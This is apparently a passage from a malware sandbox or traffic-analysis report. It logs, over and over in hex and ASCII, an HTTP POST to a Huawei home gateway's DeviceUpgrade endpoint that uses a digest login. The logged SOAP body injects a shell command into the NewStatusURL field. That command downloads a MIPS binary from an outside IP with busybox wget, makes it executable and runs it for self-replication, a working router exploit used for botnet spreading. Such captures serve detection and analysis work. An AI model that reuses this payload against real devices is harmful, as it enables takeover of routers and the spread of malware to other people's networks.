2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 